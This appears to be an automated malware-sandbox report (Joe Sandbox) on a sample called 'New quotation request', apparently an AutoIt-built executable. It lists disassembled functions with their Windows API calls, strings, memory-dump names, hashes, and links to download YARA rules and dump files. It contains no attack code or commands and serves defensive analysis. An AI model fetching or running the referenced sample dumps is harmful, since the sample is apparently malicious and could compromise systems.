                                                                    Function 003128A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 00312911
                                                                    • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 0031294C
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: InfoItemMenu_memset
                                                                    • String ID: 0
                                                                    • API String ID: 2223754486-4108050209
                                                                    • Opcode ID: 06e1e9630a83311138d338fe202a297928874f50a0fa7ecd1c5f4b94a9be8e0a
                                                                    • Instruction ID: 88cf994c4b17221eedc7ac216d3d8be20b8a06678827577ec29ec15c3d04c766
                                                                    • Opcode Fuzzy Hash: 06e1e9630a83311138d338fe202a297928874f50a0fa7ecd1c5f4b94a9be8e0a
                                                                    • Instruction Fuzzy Hash: D531C331A003059FEB2ECF5CC885BEFBBB9EF49350F151029E985A61A0D77099B4CB51
                                                                    Function 003366D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00336761
                                                                    • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0033676C
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend
                                                                    • String ID: Combobox
                                                                    • API String ID: 3850602802-2096851135
                                                                    • Opcode ID: 968eb734cacb65802b7c54b6b91c0e793a4c6399a91a42dca09554608133b9df
                                                                    • Instruction ID: a91e5cf3855e5d3881c5d4f58545375a82d88da44cd8645be5bd8b8746c9768c
                                                                    • Opcode Fuzzy Hash: 968eb734cacb65802b7c54b6b91c0e793a4c6399a91a42dca09554608133b9df
                                                                    • Instruction Fuzzy Hash: C011B271210208BFEF268F54CCC2EEB376EEB493A8F518129F91897290D671DC5187A0
                                                                    Function 00336C07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 002B1D73
                                                                      • Part of subcall function 002B1D35: GetStockObject.GDI32(00000011), ref: 002B1D87
                                                                      • Part of subcall function 002B1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 002B1D91
                                                                    • GetWindowRect.USER32(00000000,?), ref: 00336C71
                                                                    • GetSysColor.USER32(00000012), ref: 00336C8B
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Window$ColorCreateMessageObjectRectSendStock
                                                                    • String ID: static
                                                                    • API String ID: 1983116058-2160076837
                                                                    • Opcode ID: ecea4dc390c441b89b03c3facc7f048f3408199e5dcda03dd31f99b1afaf8953
                                                                    • Instruction ID: 8ffce847a74aadcbf27ae5b27269da9301a91c39acccd977262e5e2c5534bc5a
                                                                    • Opcode Fuzzy Hash: ecea4dc390c441b89b03c3facc7f048f3408199e5dcda03dd31f99b1afaf8953
                                                                    • Instruction Fuzzy Hash: 28212C72910209AFDF05DFA8CC86EEA7BA8FB08314F015629F955D2250D735E850DB60
                                                                    Function 00336920 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetWindowTextLengthW.USER32(00000000), ref: 003369A2
                                                                    • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 003369B1
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: LengthMessageSendTextWindow
                                                                    • String ID: edit
                                                                    • API String ID: 2978978980-2167791130
                                                                    • Opcode ID: f9450eb33af22b0b2e9dab4b6fc6e1c659709b1fc34f383df6643e799559cfa3
                                                                    • Instruction ID: 1c69237e56a22d30a166180cc9e380d19c902cb5dd3bf139aa22a754762d9f34
                                                                    • Opcode Fuzzy Hash: f9450eb33af22b0b2e9dab4b6fc6e1c659709b1fc34f383df6643e799559cfa3
                                                                    • Instruction Fuzzy Hash: 31118F71500108BFEB128E64DC86BEB376DEB06374F618724F9A5971E0C771DC909B60
                                                                    Function 003129AF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 00312A22
                                                                    • GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00312A41
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: InfoItemMenu_memset
                                                                    • String ID: 0
                                                                    • API String ID: 2223754486-4108050209
                                                                    • Opcode ID: 5c36348a12e476d2d283e72d165075482bf8de96c813568faf7c55303ee4c590
                                                                    • Instruction ID: f407ce0dbebf4e25f2c4cbe078ff83238b789d8a100743dc9555695e387b748c
                                                                    • Opcode Fuzzy Hash: 5c36348a12e476d2d283e72d165075482bf8de96c813568faf7c55303ee4c590
                                                                    • Instruction Fuzzy Hash: 00118E32901114AFDB3BDB98D844BEB77BCAF49310F164021E859E7290DB70ADAAC791
                                                                    Function 003221D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0032222C
                                                                    • InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00322255
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Internet$OpenOption
                                                                    • String ID: <local>
                                                                    • API String ID: 942729171-4266983199
                                                                    • Opcode ID: 78318e4db39e852682fa8e9c7d8992b574de97a627c047ad3ac1daa9f205067c
                                                                    • Instruction ID: 5aeb8970a1b669e98be8ec08784f16682579e68e0d4e9becd940fa17fd0065b3
                                                                    • Opcode Fuzzy Hash: 78318e4db39e852682fa8e9c7d8992b574de97a627c047ad3ac1daa9f205067c
                                                                    • Instruction Fuzzy Hash: 2711A070541335FEDB2A8F51AC85EBBFBACFF16751F10862AF91546400D2716990D6F0
                                                                    Function 002C092D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,002B3C14,003752F8,?,?,?), ref: 002C096E
                                                                      • Part of subcall function 002B7BCC: _memmove.LIBCMT ref: 002B7C06
                                                                    • _wcscat.LIBCMT ref: 002F4CB7
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: FullNamePath_memmove_wcscat
                                                                    • String ID: S7
                                                                    • API String ID: 257928180-3441049348
                                                                    • Opcode ID: 2764b1578a8cf786d1d1e51546cdeedf8798bd6dc8e707eb6355bea5c7553c51
                                                                    • Instruction ID: 684deff57e325bc6b79a7eb47f3464fd813364731ea3406db5e32155128bb176
                                                                    • Opcode Fuzzy Hash: 2764b1578a8cf786d1d1e51546cdeedf8798bd6dc8e707eb6355bea5c7553c51
                                                                    • Instruction Fuzzy Hash: 9011A934A25609DA9B51FB64C846FDD73E8AF08790F0045A6B549D3191DAB096A44F10
                                                                    Function 00308E05 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B7DE1: _memmove.LIBCMT ref: 002B7E22
                                                                      • Part of subcall function 0030AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0030AABC
                                                                    • SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00308E73
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ClassMessageNameSend_memmove
                                                                    • String ID: ComboBox$ListBox
                                                                    • API String ID: 372448540-1403004172
                                                                    • Opcode ID: 117f774ebe20be276f7aba3b5fffe7e9d6408c7011ad184604153cf2b37f11ea
                                                                    • Instruction ID: f57bc1dcc13d73d5d93bc2d85deb687e1eb743c6192a934aeb6c5e96965591a2
                                                                    • Opcode Fuzzy Hash: 117f774ebe20be276f7aba3b5fffe7e9d6408c7011ad184604153cf2b37f11ea
                                                                    • Instruction Fuzzy Hash: B8012871716229ABCF16FBA0CC669FE7368EF413A0F440A19F8755B2D1DF315818C690
                                                                    Function 00318D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: __fread_nolock_memmove
                                                                    • String ID: EA06
                                                                    • API String ID: 1988441806-3962188686
                                                                    • Opcode ID: 7b6b15edbb6984a79708c7202ca6eedbc955a8e4f1ef1f8dcc3ab7ac02545f1a
                                                                    • Instruction ID: 53b28e365d5af8f2702eb89f2fb8efaef4a0394ae3564ea80d2fd6e9425431dc
                                                                    • Opcode Fuzzy Hash: 7b6b15edbb6984a79708c7202ca6eedbc955a8e4f1ef1f8dcc3ab7ac02545f1a
                                                                    • Instruction Fuzzy Hash: C301F9718042187EDB19CBA8D856EEE7BFCDB15301F00419FF552D2281E9B4EA148BA0
                                                                    Function 00308CFD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B7DE1: _memmove.LIBCMT ref: 002B7E22
                                                                      • Part of subcall function 0030AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0030AABC
                                                                    • SendMessageW.USER32(?,00000180,00000000,?), ref: 00308D6B
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ClassMessageNameSend_memmove
                                                                    • String ID: ComboBox$ListBox
                                                                    • API String ID: 372448540-1403004172
                                                                    • Opcode ID: 5828a27b7eac2455cf5e7796ab9a1de7956efef11572c49609ecbe3e9c082572
                                                                    • Instruction ID: 140b8928471a515d2e289a7997f537db076f416d9e7e500afd779b49ec32f69f
                                                                    • Opcode Fuzzy Hash: 5828a27b7eac2455cf5e7796ab9a1de7956efef11572c49609ecbe3e9c082572
                                                                    • Instruction Fuzzy Hash: 4701F771B42509ABCF16EBA0C966EFF73ACDF15380F540119B841672D1DE105E18D6B1
                                                                    Function 00308D82 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B7DE1: _memmove.LIBCMT ref: 002B7E22
                                                                      • Part of subcall function 0030AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0030AABC
                                                                    • SendMessageW.USER32(?,00000182,?,00000000), ref: 00308DEE
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ClassMessageNameSend_memmove
                                                                    • String ID: ComboBox$ListBox
                                                                    • API String ID: 372448540-1403004172
                                                                    • Opcode ID: 33efa4628bcc809c28a3124502a4a0274d44a931332029c5f19e424bb4ec48ed
                                                                    • Instruction ID: d735947e6e1fdb61630f7ac2562c02b13d9bed4c5d15b9b9880825384d2d6e14
                                                                    • Opcode Fuzzy Hash: 33efa4628bcc809c28a3124502a4a0274d44a931332029c5f19e424bb4ec48ed
                                                                    • Instruction Fuzzy Hash: 0F01F271B46109ABCF12EBA4C962AFF73AC8F11380F144119B841672D2DE218E18D6B1
                                                                    Function 0030C4EB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • VariantInit.OLEAUT32(?), ref: 0030C534
                                                                      • Part of subcall function 0030C816: _memmove.LIBCMT ref: 0030C860
                                                                      • Part of subcall function 0030C816: VariantInit.OLEAUT32(00000000), ref: 0030C882
                                                                      • Part of subcall function 0030C816: VariantCopy.OLEAUT32(00000000,?), ref: 0030C88C
                                                                    • VariantClear.OLEAUT32(?), ref: 0030C556
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Variant$Init$ClearCopy_memmove
                                                                    • String ID: d}6
                                                                    • API String ID: 2932060187-3853789388
                                                                    • Opcode ID: d31a5a7c9ca550e28d2f2534872f3e865428aeb1a2818a0016fa70725dab9161
                                                                    • Instruction ID: 4e1e86ab57e67da097bfc992838d9179a5cdcc24ed7830176f9aa40daec52d7d
                                                                    • Opcode Fuzzy Hash: d31a5a7c9ca550e28d2f2534872f3e865428aeb1a2818a0016fa70725dab9161
                                                                    • Instruction Fuzzy Hash: A8110C719007089FC721DFAAD8C489AF7F8FF08354B50862EE58AD7651E771AA48CF90
                                                                    Function 00314F28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ClassName_wcscmp
                                                                    • String ID: #32770
                                                                    • API String ID: 2292705959-463685578
                                                                    • Opcode ID: 5a9a7916789ce0425b6d7c53db1e05ea5f104ee9c9b64c699eabd2d8c55db938
                                                                    • Instruction ID: ee07fdea90e6c6acfeb1c470b66e6ae3835e888da6b1adf580a22ed3ee3ce307
                                                                    • Opcode Fuzzy Hash: 5a9a7916789ce0425b6d7c53db1e05ea5f104ee9c9b64c699eabd2d8c55db938
                                                                    • Instruction Fuzzy Hash: 08E0D832A0062C2BD721DB99EC4AFE7F7ACEB49B70F010167FD04D3151E9609A958BE1
                                                                    Function 002EB2C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002EB314: _memset.LIBCMT ref: 002EB321
                                                                      • Part of subcall function 002D0940: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,002EB2F0,?,?,?,002B100A), ref: 002D0945
                                                                    • IsDebuggerPresent.KERNEL32(?,?,?,002B100A), ref: 002EB2F4
                                                                    • OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,002B100A), ref: 002EB303
                                                                    Strings
                                                                    • ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 002EB2FE
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
                                                                    • String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
                                                                    • API String ID: 3158253471-631824599
                                                                    • Opcode ID: 9648a81065d9f7f5b926b21b382e2e7106d57c8f8b046cf6c7c126c159104f30
                                                                    • Instruction ID: 5cb05fb0736a4fd0f513d8b8a1078c3e66df5852470fa5f573c42437b19b322c
                                                                    • Opcode Fuzzy Hash: 9648a81065d9f7f5b926b21b382e2e7106d57c8f8b046cf6c7c126c159104f30
                                                                    • Instruction Fuzzy Hash: 35E06D746107418FD7229F29D5457877BE8AF00714F408D6DE886C7661E7B4D458CBA1
                                                                    Function 00307C74 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00307C82
                                                                      • Part of subcall function 002D3358: _doexit.LIBCMT ref: 002D3362
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Message_doexit
                                                                    • String ID: AutoIt$Error allocating memory.
                                                                    • API String ID: 1993061046-4017498283
                                                                    • Opcode ID: 7e046550cbfd6f76bb8182c5c3ab8653d58193b361a0ba74cbeed2146395eea6
                                                                    • Instruction ID: 5e74cccab9b874e9fd8584da10d36083e8e6f128c7c4515fee9d39d406f4bc21
                                                                    • Opcode Fuzzy Hash: 7e046550cbfd6f76bb8182c5c3ab8653d58193b361a0ba74cbeed2146395eea6
                                                                    • Instruction Fuzzy Hash: 81D02B323C431837D10632B5AD47FCA36884F04F56F004412FB04591D349D15CD051E5
                                                                    Function 002F1935 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetSystemDirectoryW.KERNEL32(?), ref: 002F1775
                                                                      • Part of subcall function 0032BFF0: LoadLibraryA.KERNEL32(kernel32.dll,?,002F195E,?), ref: 0032BFFE
                                                                      • Part of subcall function 0032BFF0: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0032C010
                                                                    • FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 002F196D
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Library$AddressDirectoryFreeLoadProcSystem
                                                                    • String ID: WIN_XPe
                                                                    • API String ID: 582185067-3257408948
                                                                    • Opcode ID: 9ca46a1132c15bd584500cd3768c526e48c5d76daba3440488bae2f94987c546
